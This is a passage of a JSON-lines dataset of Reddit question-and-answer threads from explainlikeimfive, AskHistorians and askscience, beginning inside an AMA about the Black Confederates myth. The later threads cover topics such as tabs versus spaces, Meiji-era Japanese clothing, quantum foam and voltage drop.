development over time). In reference duties, we often come into contact with patrons, both white and black, that have completely bought in to the Black Confederates myth (as well as all other Lost Cause intricacies, unfortunately!)\n\nAs a reference archivist, I\u2019m not at liberty to tell people outright that they\u2019re wrong... any advice for how to broach this topic and inform laypeople?? Thanks!!", "I hope it's alright to ask a question about another topic you've published on: The Battle of the Crater\n\nDo you have any insight into what Gen. Meade was thinking when he swapped out Ferrero's black division for Ledlie's white one?  \n\nMy only reading on the matter has been Shelby Foote, who put forward the idea that Meade was afraid of the political blowback of throwing black soldiers into a meat grinder.  But Ferrero's men were assigned to the attack for a month - surely this occurred to Meade sometime earlier than the last minute?  What in the world happened?", "What organizations or individuals are currently spreading this myth of the black Confederate? What is the best way to combat this misinformation?", "You linked in another comment to a blog post from a few years ago which itself linked to your [book proposal](_URL_0_). Is this how a non-fiction book begins? Did you write the proposal and pitch it to literary agents or publishers?\n\nI've seen in other AMAs some comments on publication by fiction writers but I don't think I've ever heard from a non-fiction writer. Curious to hear about the process from idea to publication.", "No question, just a heartfelt thanks for your work. The people behind the historical events or beliefs have always appealed to me. I'm a purely amateur lover of history and very much appreciate a well researched, insightful, and fascinating read.\n\nEdit: word choice", "As a prospective teacher myself I was curious to know how you tackle some of the more stubborn students who have fallen for the lost cause narrative and often use black soldiers in the CSA as a point for downplaying slavery as a root cause for the war?", "Is there any evidence for black Confederates in the far western theatre?", "What would have happened to a slave of a Confederate soldier immediately after surrender/capture? Would they have been absorbed into the Union Army, given any sort of benefit/assistance, just set free and told to figure it out on their own...?", "Looking forward to adding your book to my perpetually growing stack of To Be Read's.  I'm a big fan of Lincoln as a lawyer  &  politician  &  have often wondered whether and how Reconstruction as we know it would have been different had he not been assassinated  &  what impact that might have had on race relations in America today.  I've seen some arguement that the SCV and UDC were regarded by some in the late 1800's as a necessary evil to keep the country together  &  prevent a perpetual civil war /guerilla resistance, by channeling the ex-Confederates' anger at the social upheaval imposed during  &  after the war into something other than a continuation of the war.  Are you familiar with that line of theory  &  if so, what are your thoughts about it?", "My wife has found documentation that her black ancestors were part of the confederate. Not soldiers, but freed to man a lighthouse for the south.\n\nDoes part of your research involve people who were a part of the confederate but not on the front line?", "Hi, thank you so much for answering our questions, your book sounds incredibly interesting and I can't to read it. I have two (rather long) questions:\n\n1.) I have often heard of the 1st Louisiana Native Guard put forth as an example of black soldiers in the Confederate Army, although if I recall correctly it was a state militia regiment made up of free people of color, and was fairly quickly disbanded by confederate authorities. Did such a unit exist or was its existence exacerbated by those who propagate the myth of black confederates? If such a unit existed, what would be the motivation of these men? \n\n2.) The second one may be somewhat outside the scope of your research, but it is well known that especially early in the war most individual Union soliders were not staunch abolitionists, and much of the officer corps was made up of men from wealthy or elite families. Hypothetically could a Union officer who owned slaves bring them with him as personal servants in the same capacity as Southern officers, and are there any examples of this that you know of?\n\nThank you so much in advance!", "I enjoy your work on twitter! I was wondering: in battles when Union Forces decisively best Confederate forces, what was done with the enslaved workforce/were they freed after the battle?", "While the number of fighting black Confederates are clearly overstated, what do we make of contemporary claims from the Union side that a small number of armed black troops were found in the ranks of the Confederacy? Specifically, there were multiple reports that Union troops took effective sniper fire from sharpshooters who turned out to be black (indeed, I believe one of the earliest incidents of CSA sniper employment was reported by Union troops to have been from a black sniper positioned from a chimney who wrought havoc on the Union lines), and Frederick Douglass' dismayed admission that blacks were found fighting for the CSA during the 1st Battle of Bull Run?", "Thank you having this AMA.  Will be looking into your work as it has become highly relevant to my current endeavors.  I am going to be running for office vs a notorious SCV member here in Georgia who has spent several sessions of the Ga Legislature promoting his views.  I am hoping to get a chance to debate and just from this AMA i feel like I have a good options to rebut nonsense about black confederate soldiers (the point that it was discussed by the CSA at the very tail end of the war seems to make clear it was not normal procedure before that point).", "By what metric is this \"The Civil War's Most Persistent Myth?\"", "Thanks for this doing this AMA! \n\nIs there any record of southern slaves reacting to the CSA's Joint Resolution on Retaliation, or ensuing events like the Fort Pillow Massacre?\n\nAnd if you have time, did Confederate correspondence at that time reflect the myth of the \"loyal slave?\" That is, did any soldiers or officers refer to the body servants and slaves impressed into infrastructure building in their letters as evidence that slavery was a moral system that suited black people?", "Hi - I've occasionally heard the claim that many slaves were owned by freed blacks.  This is sort of adjacent to your area of expertise, but can you comment on this idea?  \n\n\nMy understanding is that when this did occur (which was rarely), it was largely due to freed blacks needing to \"buy\" their relatives out of bondage.", "Thank you for doing this work. How do you address people who oppose you?", "In the movie Gods and Generals Stonewall Jackson has a free black servant. In one scene Jackson asks him why he continues to be his servant and doesn\u2019t flee north, the servant replies something along the lines of \u201cI don\u2019t condone slavery, but I consider myself a loyal Virginian\u201d. Is there any historical basis for this attitude among free or enslaved black people in the southern states?", "Does your name rhyme, or is it pronounced Lev\u00edn?"]}, "title_urls": [], "selftext_urls": ["https://cwmemory.com", "https://twitter.com/KevinLevin", "https://uncpress.org/book/9781469653266/searching-for-black-confederates/", "https://www.indiebound.org/book/9781469653266", "https://amzn.to/2JoHeQb"], "answers_urls": [["https://civilwartalk.com/threads/counting-the-confederate-service-records-of-black-and-mulatto-men.142783/"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://cwmemory.com/searching-for-black-confederate-soldiers-the-civil-wars-most-persistent-myth/"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1biavt", "title": "tabs vs spaces", "selftext": "I don't get all the arguments about Tabs vs Spaces. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1biavt/eli5_tabs_vs_spaces/", "answers": {"a_id": ["c96w3df", "c96w4dd", "c96xd43"], "score": [3, 8, 2], "text": ["In word processing, it should always be tabs, for more reasons than I care to list. The only reason not to use tabs is if you don't understand what you're doing - and in that case, you ought to be learning how to use tabs, rather than just using spaces, if you're doing anything even vaguely serious. I don't think there is any debate here.\n\nThere may be some debate in other areas. In the programming world, for example, it makes very little difference. Most IDEs use a proportional font, so that everything lines up whichever you use. Some IDEs (it's a few years since I've been programming regularly so I may be wrong or out of date here) even change your code from tabs to spaces or vice versa. ", "At the risk of over-simplifying it, it basically comes down to how the code **looks**:\n\nIf you're reading thousands and thousands of lines of code, it needs to be clear and legible. A bit like books, where we use paragraph breaks and chapter headings to separate our text. \n\nThe most \"clear\" indentation is a tab, because it's a larger space, and draws more attention. A single space could easily be overlooked or ignored.\n\nHowever, tabs aren't perfect either. If you're copying code between editors, then each editor can have a different \"tab size\". Or if your code is going to be published for some reason, not all editors interpret the tab correctly. Whereas *every* editor on the planet understands what a 'space' is.\n\nIn reality, there wouldn't **be** a problem if everyone did the same thing. But they don't. Each person finds a style that suits *them*, and when you put them in a large team with people who work *differently*, you suddenly end up with conflicting styles, and it causes a bunch of problems that you never expected to have. That's why people get so passionate about it.", "Tabs are relative, spaces are absolute.\n\nWith spaces you always know how something will look and tabs are rendered based on the settings of your IDE.\n\nNeither of which are the problem. The problem is mixing the two. It causes your code to look all kinds of messed up due to the variable nature of tabs and the lack of consistency, even if it renders fine, just feels horrid.\n\nThe debate exists because no one can decide on any which one to use since the choice is mostly arbitrary (both perform the function of indentation just fine).\n\nAs LondonPilot mentioned, most if not all modern IDE's automatically convert indentation from to the other so anyone can really use anything they wish.\n\n**tl;dr tabs are for suckas**"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8q0owu", "title": "Was Christopher Colombus really a horrible person.", "selftext": "All over the internet I've seen countless times people talking about how much of a horrible person Colombus was, stating that he came and enslaved the natvies, sold their children as sex slaves and so on. But I've also seen people say he was a great person and that he was just a product of the times he lived in.  I was wondering what you guys thought about Christopher Colombus. \nThanks. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8q0owu/was_christopher_colombus_really_a_horrible_person/", "answers": {"a_id": ["e0fjtwq"], "score": [21], "text": ["There is always more to be said, but you may be interested in these past posts:\n\n[My history professor stated today that Columbus and his men killed between 2 and 8 million Native Americans in a 2-3 year period, and only a small portion of those deaths were from disease. Is this claim accurate? I cannot find a source to validate it.](_URL_1_), answered by /u/snapshot52 \n\n[Christopher Columbus: what do we know about him for sure?](_URL_0_), answered by /u/eddiebruceandpaul"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/75h9g2/christopher_columbus_what_do_we_know_about_him/", "https://www.reddit.com/r/AskHistorians/comments/6x88wm/my_history_professor_stated_today_that_columbus/dmetkv1/"]]}
{"q_id": "cmgttc", "title": "Why did Asia (at least when it comes to casual styles) adopt Western clothing? How come \"traditional\" Asian wear did not evolve into the 20th century while classic European clothing (suits, button up shirts, Oxford shoes etc) keeps evolving and modernising and is still very relevant today?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/cmgttc/why_did_asia_at_least_when_it_comes_to_casual/", "answers": {"a_id": ["ew54jrq", "ew8kn5t"], "score": [3, 19], "text": ["Follow up question:\n\nWhy did Asian men adopt very similar outfits as Western men while you can see some differences in female fashion in Asia compared to the western world?", "I cannot answer to the breadth of your question, but I can speak to the specific situation of the history of Westernized fashion and clothing in Japan.\n\nThe transition toward adopting Western fashion began in Japan during the early Meiji period. When the Meiji system rose to power in 1868, Japan was at a heavily weakened place in global politics. Following the \u201copening\u201d of Japan by the American expeditionary force led by Commodore Perry in 1852, the Japanese were forced to sign a number of treaties with European and American powers that granted exclusive trading rights and extraterritoriality provisions to Western powers. One of the primary goals of the Meiji state was to renegotiate an end to these treaties, which they rightfully saw as exhortative and colonialistic. However, in order to do this, the Meiji elites recognized that they needed to project a degree of authority and power on the world stage that they did not currently have. One of the major ways that they did this was by reforming governmental and military dress to more closely align with Western norms.\n\nHistorian Jason Karlin has done a lot of work on this topic, and argues in an article he wrote on masculinities during the Meiji period that the Meiji elite \u201crationalized the adoption of Western fashion as necessary for reversing foreign perceptions of Japan as backward and uncivilized. The Japanese gentleman's cultivation of civilization through fashion and manner was thus a calculated response to the political need of the state to improve Japan's international status.\u201d By reforming standards of fashion at the highest levels of society and governance, the Meiji government sought to make a claim to equal power in the face of European and American powers. The relationships between power and fashion here was tied up with notions of gender. During this period, Japan was often derided as being feminine and weak by Western nations. The Meiji elite were aware of this perception, and attempted to subvert it by realigning their displays of power and masculinity to more closely align with Western understandings.\n\nIn an imperial rescript issued in 1871, Emperor Meiji declared that he was going to reform the court uniform, because the earlier clothing (which was in a modified Chinese style) \u201cgave the impression of weakness.\u201d Before this rescript, the court clothing was distinctly non-Western--it included flowing robes, sandals, and large hair and headpieces. But, within two years following the emperor\u2019s declaration, the standard official garb of the Meiji elite had completely transitioned toward Western military-style uniforms. This rapid transition is very much evident by comparing two official portraits of the emperor from 1872 and 1873. The 1872 portrait ([**here**](_URL_4_)) shows the emperor in the traditional garb of the Edo-period emperor. One year later, however, in the 1873 portrait ([**here**](_URL_3_)), the emperor is shown wearing a Western-style military uniform. Here, he is dressed in a very similar way to other European leaders. He is wearing pants, a military jacket with decorations, a European haircut, and some late 19th century-style facial hair. This transition shows that the emperor was concerned with his outward appearance, and its legibility to those outside of Japan.\n\nAt its earliest point, the transition from traditional Japanese fashion to Western fashion was a top-down process that began with the emperor and Meiji elites, and slowly spread to the layperson. Around 1884, the standard uniform for schoolboys became a stripped down version of a Prussian-style military uniform, mirroring the standard uniform in the Imperial Army. Interestingly enough, however, uniforms for girls did not switch to a Western style until the Taisho period (1930s). The adoption of Western clothing outside of the government and government-run facilities was a slow process. This was most due to the fact that Western suits and garments were most often too expensive for the average person to own. But, reticence on the part of the average Japanese to completely change their style cannot be discounted. By 1890, however, the suit was widespread throughout professional life in Japan\u2019s major cities. Businessmen, doctors, and lawyers, all wore suits to their \u201cmodern\u201d professions, projecting the same power and masculinity that the Meiji elites sought to perform. Even then, however, the kimono did not disappear from Japanese life. Many, especially those with less wealth, continued to wear traditional Japanese clothing in their day-to-day lives. Moreover, while Western clothing was worn to work and out in public, kimono continued to be the preferred form of loungewear in the home.\n\nBut, I have only talked about men, haven\u2019t I? Well, yes. Men\u2019s fashion Westernized (modernized) much more quickly than women\u2019s fashion. Because the Westernization of fashion in Japan was propelled by a desire for a more legible display of political power and masculinity, the same pressures that transformed men\u2019s fashion were not present for female fashion. Kimono continued to be the standard form of dress for women, both in public and in the privacy of the home. Even an increase in the number of women that entered the workforce during the first decades of the twentieth century did not change anything sartorially. Women\u2019s fashion in Japan only really began to change after an event known as the Shirokiya Department Store fire. On December 16, 1932, the Shirokiya Department Store in Tokyo caught fire. Fourteen people died in the ensuing chaos. Only one died from the fire itself, while the other thirteen died from tripping and falling out of windows. The Japanese press seized on the story and depicted the deaths and chaos as a product of the kimono that the female workers were wearing at the time. The media, clothing stores, and employers all began to push women to adopt Western style fashion in order to prevent another event like the Shirokiya fire. Women\u2019s adoption of Western dress proceeded much faster than it did for men. By the outbreak of World War II, working women and many housewives were wearing shorter Western dresses rather than kimono.\n\nTo address the second part of your question briefly, I do not think it is accurate to say that traditional Japanese dress did not modernize alongside the shift toward Westernization. Early on during the Meiji period, new textiles and fabrics introduced from expanded trade with the West began to shape traditional Japanese styles. Sheep\u2019s wool, most predominantly, was introduced from European markets and was used to make warmer kimono that had a different texture and feel from existing silk and cotton. Although I cannot speak authoritatively to it, I would be willing to bet that there are many contemporary kimono that are currently being made with synthetic fibres, which were an innovation of the mid-1900s.\n\n & #x200B;\n\n & #x200B;\n\n**Bibliography**\n\nCheng, Eileen J. \u201cPerforming the Revolutionary: Lu Xun and the Meiji Discourse on Masculinity.\u201d Modern Chinese Literature and Culture 27, no. 1 (2015): 1\u201343.\n\nCook, Jr., Theodore F. \u201cMaking \u2018Soldiers\u2019: The Imperial Army and the Japanese Man in Meiji Society and State.\u201d In Gendering Modern Japanese History, edited by Barbara Molony and Kathleen Uno, 259\u201394. Cambridge, MA: Harvard University Asia Center, 2005.\n\nFujitani, Takashi. *Splendid Monarchy: Power and Pageantry in Modern Japan*. Berkeley, CA: University of California Press, 1996.\n\nHirayama, Mikiko. \u201cThe Emperor\u2019s New Clothes: Japanese Visuality and Imperial Portrait Photography.\u201d History of Photography 33, no. 2 (May 19, 2009): 165\u201384. [_URL_2_](_URL_2_).\n\nKarlin, Jason G. *Gender and Nation in Meiji Japan: Modernity, Loss, and the Doing of History*. Honolulu: University of Hawaii Press, 2014. [_URL_0_](_URL_0_).\n\n\u2014\u2014\u2014. \u201cThe Gender of Nationalism: Competing Masculinities in Meiji Japan.\u201d Journal of Japanese Studies 28, no. 1 (2002): 41\u201377. [_URL_1_](_URL_1_).\n\nRoden, Donald. \u201cThoughts on the Early Meiji Gentleman.\u201d In *Gendering Modern Japanese History*, edited by Barbara Molony and Kathleen Uno, 61\u201398. Cambridge, MA: Harvard University Asia Center, 2005.\n\nSchirokauer, Conrad, and Donald N. Clark. *Modern East Asia: A Brief History*. Boston: Thomson Wadsworth, 2004.\n\nSlade, Toby. *Japanese Fashion: A Cultural History*. New York, NY: Berg, 2009."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://ezproxy.whitman.edu/login?url=", "https://doi.org/10.2307/4126775", "https://doi.org/10.1080/03087290902768099", "https://visualizingcultures.mit.edu/throwing_off_asia_01/image/toa5000_emperor.jpg", "https://upload.wikimedia.org/wikipedia/commons/b/ba/Meiji_tenno3.jpg"]]}
{"q_id": "awuz6z", "title": "can a material only be scratched by a harder material?", "selftext": "My father used to say only diamonds can scratch other diamonds.  Like, he would say that it's OK to play with a puzzle on a walnut table because the wood is so much harder than the paperboard, but it wouldn't be OK to play that finger knife game from Alien.  And it makes sense to me on some level.\n\nBut if I hack at a tree with an axe for a while it will definitely get dull.\n\nDoes what my father used to tell me hold any water?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/awuz6z/eli5_can_a_material_only_be_scratched_by_a_harder/", "answers": {"a_id": ["ehpb84t", "ehpbmha", "ehpi8k9", "ehpo9uo", "ehprsmr"], "score": [64, 8, 6, 2, 6], "text": ["Your Father is correct. Things can only be scratched by things of equal or higher 'hardness'. The axe you use does get dull for several reasons. Firstly the thin edge does get bend and mushed out of shape by the impact of the axe's weight. Then for moments there is a really high friction that heats things up. And then even in wood there are minerals that can act abbrasive to metal.\n\nJust cause you cannot scratch a diamond with a metal hammer doesn't mean you cannot smash it to dust with the weight of a metal hammer.", "Well yes. In broad sense, harder materials will scratch softer materials. But anytime you bring materials together (especially in the axe example) the energy has to go somewhere. The energy usually gets converted to heat and/or used to break some of the materials bonds. Really both materials would lose some part of themselves 9/10 times.", "Kind of. The \"scratch test\" is a common method in geology to identify materials using the Mohs Hardness Scale. If you run one rock across the surface of another, you can tell whether it leaves a mark or not, which tells you whether it's higher or lower on the hardness scale.\n\nMore generally, a material can be scratched by something as hard as or more hard than itself. But there are additional forces from impact that can lead to material eroding away, like with the axe and a tree, or a knife and a cutting board, or a car and a tree, that can damage it. It's particularly easy to damage surfaces that are thin or sharp, like the knife edge, so you'll see your axe wearing away long before your hammer loses its texture. This is how they cut diamonds, the hardest material on the Mohs Hardness Scale -- with precise repeated impacts on a rough grinding wheel surface.", "That paperboard was also made of wood.  It didn't hurt the table because you didn't apply a lot of pressure and walnut is a hard wood. \n\nWhile scratching from a single pass is not going to damage a diamond, there is still some wear on a diamond when you rub it on softer materials.  The wear is microscopic. [Diamond knives](_URL_0_) are used in eye surgery and eventually need sharpening.", "Tour dad explained it correctly to you at your age for understanding.  ELIF, he is right.  \n\nFor the internet, however, what are you actually looking for?  Exceptions?\n\nA rubber fan belt on older cars is softer than metal, but 100,000 miles of driving, and the rubber fan belt will scratch components of the motor if the belt rubs it.  More damage to the belt, but some damage to the metal.  Friction, heat, dirt, etc all takes Account... \n\nString can be used to cut small branches.  String takes more damage than Branch, but it will eventually do the trick if you replace the string enough. \n\nFiddle players can comment on this, I don\u2019t know much about it, but damage is done to the bow and the strings when they play.  Like extreme fiddle, \u201cdevil went down to Georgia\u201d etc.  \n\nTires from vehicles damage pavement.  Not sure if it qualifies as \u201cscratch\u201d ... but definitely dents, chips, crushes.  Weight is a factor here, like your Ax example.  And hammer example.\n\nThen supernatural situations:  tornados have been known to take soft objects, like pine straw, and pierce glass or metal.  (Have not seen in person, studied about it school tho)\n\nMagic erasers for cleaning granite counter tops... \npolishing cloths on metal or brass...\nLeather belts or horse saddles on metal buckles....\nFishing line on rod and reels...\nChain and sprockets on dirt bikes..(both chain and sprocket take wear over time, no matter which metal is used for chain and which metal is used for sprocket) \n\nBut more factors are at play in the exceptions I mentioned, including weight, density, force, time, and friction... others as well.\n\nBut always listen to your dad, he is right in a sense.  A single sheet of paper in the hands of a child won\u2019t put a \u201cpaper cut\u201d on concrete as far as a ELIF .  \n\nBut if the paper is moving at extreme speeds, it might cut fabric... which is \u201charder\u201d or even plastic, which is \u201charder\u201d\n\nCellular level, atoms from \u201charder\u201d object can be broken by a \u201csofter\u201d object by friction, heat, etc etc.  both will take damage, tho.  \n\nHope this helps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Diamond_knife"], []]}
{"q_id": "1bd4rs", "title": "why do different law enforcement agencies in movies/tv shows like the fbi/police fight over who's jurisdiction it is in a case, and who gets to \"lead\" the case?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1bd4rs/eli5_why_do_different_law_enforcement_agencies_in/", "answers": {"a_id": ["c95thd0"], "score": [4], "text": ["It's solely for dramatic purposes.  In the real world, that fight rarely happens.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "qqco6", "title": "quantum foam", "selftext": "In [the scale of the universe](_URL_0_) one of the smallest things is something called \"quantum foam\", what is it?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/qqco6/eli5_quantum_foam/", "answers": {"a_id": ["c3zmow7", "c3zpgdj"], "score": [9, 4], "text": ["It's basically the smallest constituents possible.\n\n\nPart of Quantum Theory is that [*virtual particles*](_URL_0_) are constantly being created and annihilated all over the place, even in completely empty space. They happen to exist for such brief time and energy that, they can't really be described like normal particles. They exist in 'Planck' time/length, or smaller, (the shortest length in Quantum Theory), so we can't really measure them.\n\n\nImagine if your stop watch only counted in increments of whole seconds. Anything less, and you can't measure it exactly.\n\n\nSo, these tiny particles exist in such short time spans and energies, that they almost don't exist; they can't be pinpointed and exist everywhere, so we call it a foam, Quantum Foam. \n\n\nA competing theory, General Relativity, states that energy and mass curves spacetime, so these virtual particles (being mass/energy) will still curve spacetime at the Plank level, making them move around unpredictably, and like a foam.\n\n\nHope that helps, it's kind of hard to EL5 a subject that isn't fully understood or actualy observed. But it is theorized and written into Quantum Field Theory.\n\n\n\n\n\n", "In simplest terms, according to Quantum theory, it is impossible to know certain measurements exactly. You can be very accurate, but never exactly exact. Measuring something as \"zero\" is actually too exact. So at the smallest scale of the universe, where you are in between atoms and electrons and such, you expect there to be \"nothing\", but that is too exact. Instead, the fabric of the universe is \"boiling\", coursing with ripples and divots and even \"virtual particles\". If you look at it from far away everything balances out and there appears to be \"nothing\" there."]}, "title_urls": [], "selftext_urls": ["http://htwins.net/scale2/"], "answers_urls": [["http://en.wikipedia.org/wiki/Virtual_particles"], []]}
{"q_id": "3v0f6n", "title": "Does magnetism effects change by the velocity of c?", "selftext": "I read a german article about magnetic fields and it says, that \"Changes in a magnetic field spread out with the light of speed\". \nIs this true? And if so, how is it possible?\n\n(If there are any curious german people here, there is the source: _URL_0_ )\n\nThanks for the answers :)", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3v0f6n/does_magnetism_effects_change_by_the_velocity_of_c/", "answers": {"a_id": ["cxjaiv2", "cxjaiwm", "cxjao0j"], "score": [19, 2, 2], "text": ["Yes. Light itself is actually just an electromagnetic wave. Therefore, the phrase \"speed of light\" is more generally called the \"speed of changes to the electromagnetic field.\" Note that you can't really have a magnetic field without an electric field because you can always switch to a reference frame where a seemingly isolated magnetic field is both a magnetic field and an electric field connected. Also, as soon as a magnetic field changes in time, it creates an associated electric field, in all reference frames. Therefore, changes to the magnetic field are more accurately called changes to the electromagnetic field, which obviously travel at the speed of changes to the electromagnetic field (i.e. the speed of light).", "yes, changes in the electromagnetical field spread out at the spead of light, since light is nothing else than an electromagnetic wave", "Yes! The magnetic field is just a part of the total electromagnetic field. In fact if you are in a reference frame with only a magnetic field (E=0) and then start moving with relative velocity v then you will suddenly both see a magnetic field and a electric field. You can see the transformation formulas [here](_URL_0_).\n\nChanges in the electromagnetic field obey Maxwells equations. The solutions to these equations are waves travelling with the speed of light. Thus the changes in the magnetic field spread out with the speed of light."]}, "title_urls": [], "selftext_urls": ["https://www.lernhelfer.de/schuelerlexikon/physik-abitur/artikel/magnetisches-feld"], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Classical_electromagnetism_and_special_relativity"]]}
{"q_id": "81d4zo", "title": "Why do large icicles appear ribbed?", "selftext": "This doesn't seem to be true of all icicles, especially the smaller onee, but most of the large ones (30cm+) appear to have this ribbed affect. What's causing this?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/81d4zo/why_do_large_icicles_appear_ribbed/", "answers": {"a_id": ["dv3aqjr", "dv3on7s"], "score": [2, 3], "text": ["Consider this a common sense explanation - with smaller icicle, a water drop can make it all the way to the bottom of the icicle before freezing, and then freeze there. With larger icicles, the water drop may freeze on the way to the bottom and thus create what you're referring to as a ripple.", "[This paper](_URL_0_) (open access) suggests it's a result of dissolved salt. In laboratory experiments, pure water icicles do not form ripples.\n\nWe don't understand very well what goes on near the fluid-solid interface in solidifying mixtures, but there are weird partially solid \"mushy layers\" that might have something to do with it.\n\nIncidentally, the ripple spacing is apparently a constant."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://iopscience.iop.org/article/10.1088/1367-2630/15/10/103012"]]}
{"q_id": "cq4sng", "title": "what is dynamic range in music and why is it important?", "selftext": "And why should I care about it as a listener?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cq4sng/eli5_what_is_dynamic_range_in_music_and_why_is_it/", "answers": {"a_id": ["ewtyzrq", "ewtz9pe", "ewu0ip7", "ex3ppln"], "score": [5, 9, 3, 2], "text": ["It's the difference in volume between the quietest parts and the loudest parts of whatever you're measuring, usually either a recording or your equipment. If your equipment doesn't have as high a dynamic range as your recording, you'll either lose quieter details in the noise, or the very loudest parts will get clipped to the loudest thing your system can reproduce. \nEdit: Here's an example of the loudest parts getting clipped, though in this case it's probably clipped in the recording as well as the speakers not being able to replicate the cannons properly: _URL_0_\n\nThere's no particular advantage to having equipment with a really big dynamic range if you're in a noisy room or car, or your recordings have heavy dynamic range compression(basically the whole song is loud).", "Dynamic range is the volume difference between the quietest note and the loudest note in music. When songs are stored digitally, there is a limit to the maximum volume of a note.\n\nIt's important because modern music tends to compress the volume range towards the loud end so that the average volume of the song is louder and stands out. However, this is like if **YOU COULD ONLY READ AND WRITE IN CAPITALS SO IT ALWAYS SEEMS LIKE YOU'RE YELLING. IT WOULD BE HARD TO TELL IF YOU WANTED TO EMPHASIZE SOMETHING OR IF YOU WERE JUST WRITING NORMALLY.**\n\nWith more range, it's possible to express a wider set of notes, making the music (like writing) sound more exciting or quiet when it needs to. It feels more like a live performance when the dynamic range is high.", "Dynamic range is the breadth of loudness a piece has. Playing a piece loudly or quietly is not the same as listening to that same performance with the volume up or down. The physical act of plying softly requires a lot of restraint and playing loudly requires a lot of energy and the way a musician handles these two techniques is audible and can even be a completely different tone color depending on the instrument. \n\nHowever I want to answer why it\u2019s important and why you should care.\n\n*Contrast* is a very important concept that transcends any artistic discipline. It allows us to appreciate the thing and the contrasting thing more than we would appreciate them alone.\n\nContrast can appear in music a bunch of ways: within a tonal center and without; harsh timbre vs. smooth timbre; short vs. long phrasing; etc. Dynamic contrast is just another tool a composer or performer can use to highlight a section or grab your attention or make you *feel* something. You should care about dynamics because they make music more interesting and they allow for a far more nuanced pallet of emotions. \n\nIf you have a favorite song, it\u2019s not because you think all music is equally good. You like that song so much because it can do for you what everything else you\u2019ve ever listened to could not. You like it because, in some way, it is different.", "difference between lowest and highest volume.\n\nToo low dynamic range will make your ears tired faster, and it may sound worse. But not always.\n\nIn some styles higher dynamic range better, in some lower dynamic is better. Newbie producers also often overcompress music because of lack of skills.\n\nAs a listener shouldn't probably care, unless you dislike overcompressed music.\n\nAnother problem with overcompressed music might be, if you want reduce volume on your PC, it would sound too flat, higher dynamic would sound better on lower volumes.\n\nBut you dont really have any control, it's up to producers or labels, or radio. It's easier to compress high dynamic song than to expand overcompressed one."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://youtu.be/VbxgYlcNxE8?t=717"], [], [], []]}
{"q_id": "45wzq0", "title": "what exactly is potential drop or voltage drop?", "selftext": "And could you guys explain it with regards to a circuit containing 2 sources of EMF (connected in parallel)? So what exactly is potential drop across the cell with lower EMF?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/45wzq0/eli5_what_exactly_is_potential_drop_or_voltage/", "answers": {"a_id": ["d00q4iw", "d00rflb", "d00rycs"], "score": [7, 2, 4], "text": ["The line you'll get from everyone is that there's no such thing as not-differential voltage. And they're right. But you can think of it as a concentration or density of electrons in a particular area. If we wanted to make it a thing, it would have to be something like electrons/m^3 or eV/m^3. Which isn't terribly useful so we've never bothered.\n\nWhat is useful is measuring the difference in concentrations between two points. Because if two conductors with different concentrations are connected, electrons will want to flow from the high-density area to the low density area until everything balances out. We call this \"potential\" because there is the potential for electrons to flow between these two conductors, if we connect them.\n\nYou can also imagine if there's a source of (new) electrons, like a battery, or if there's a pump that's constantly taking electrons from the low-density conductor and putting them on the high-density conductor, like a motor, then equilibrium will never be reached, and current will flow continuously.\n\nEdit: See barchueetadonai's reply below for some corrections.", "Because V=IxR, anytime there is current flowing through almost anything ( resistance), a small amount of voltage is created (induced) in passive components, mainly resistors. This reduces the \"useful\"  voltage remaining in the circuit. Good design can compensate for any limiting factors caused by voltage drops. ", "With regards to your example, you actually can't have two different emf sources connected in parallel. There must be an element separating them. In a real circuit this would likely be resistances internal to the sources. So the real circuit in this case would be modeled as a resistor in series with the emf sources. In this case, the drop across the emf source will be the voltage of the source, and there will be additional emf drops in the resistors.\n\nThink of a voltage drop as being a measure of how much energy a charged particle (like an electron) would gain or lose if it moved between two points. This is why all voltages are relative (i.e. there is no absolute 0V, only what we define to be zero for the sake of calculations). I's about a difference in energy, so only the difference in voltage matters"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
